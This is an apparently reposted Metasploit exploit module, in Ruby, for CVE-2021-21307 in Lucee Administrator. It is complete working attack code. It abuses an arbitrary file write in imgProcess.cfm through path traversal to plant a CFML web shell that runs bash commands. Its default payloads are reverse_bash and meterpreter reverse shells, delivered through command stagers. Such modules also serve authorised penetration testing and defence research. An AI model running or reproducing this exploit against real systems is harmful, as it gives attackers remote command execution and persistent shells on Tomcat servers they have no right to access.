Wednesday, August 18, 2021

Lucee Administrator imgProcess.cfm Arbitrary File Write

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',
'Description' => %q{
This module exploits an arbitrary file write in Lucee Administrator's
imgProcess.cfm file to execute commands as the Tomcat user.
},
'Author' => [
'rootxharsh', # Discovery and PoC
'iamnoooob', # Discovery and PoC
'wvu' # Exploit
],
'References' => [
['CVE', '2021-21307'],
['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],
['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],
['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']
],
'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'], # TODO: Windows?
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false, # Tomcat user
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8888
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /opt/lucee/server/lucee-server/context/logs/application.log
# /opt/lucee/web/logs/exception.log
IOC_IN_LOGS,
# /opt/lucee/web/temp/admin-ext-thumbnails/__/
# /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm
ARTIFACTS_ON_DISK
]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/lucee'])
])

register_advanced_options([
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
])
end

def check
# NOTE: This doesn't actually write a file
res = write_file(rand_text_alphanumeric(8..16), nil)

return CheckCode::Unknown unless res

unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist")
return CheckCode::Safe
end

CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')
end

def exploit
print_status("Writing CFML stub: #{full_uri(cfml_uri)}")

unless write_cfml_stub
fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')
end

print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def write_cfml_stub
# XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/
res = write_file('/.', '')

# Leak directory traversal base path from 500 response
unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body
return false
end

register_dir_for_cleanup(base_path)

cfml_path = "/../../../context/#{cfml_filename}"

res = write_file(cfml_path, cfml_stub)

return false unless res&.code == 200

register_file_for_cleanup(normalize_uri(base_path, cfml_path))

true
end

def execute_command(cmd, _opts = {})
vprint_status(cmd)

res = send_request_cgi({
'method' => 'POST',
'uri' => cfml_uri,
'vars_post' => {
cfml_param => cmd
}
}, datastore['CmdExecTimeout'])

return unless res

fail_with(Failure::PayloadFailed, cmd) unless res.code == 200

vprint_line(res.body)
end

def write_file(name, contents)
opts = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')
}

opts['vars_get'] = { 'file' => name } if name
opts['vars_post'] = { 'imgSrc' => contents } if contents

send_request_cgi(opts)
end

def cfml_stub
# https://cfdocs.org/cfscript
# https://cfdocs.org/cfexecute
<<~CFML.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]);
</cfscript>
CFML
end

def cfml_uri
normalize_uri(target_uri.path, cfml_filename)
end

def cfml_param
@cfml_param ||= rand_text_alphanumeric(8..16)
end

def cfml_filename
@cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm"
end

end
 

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Thanks for everything Templateism - You should have written the code a little more complicated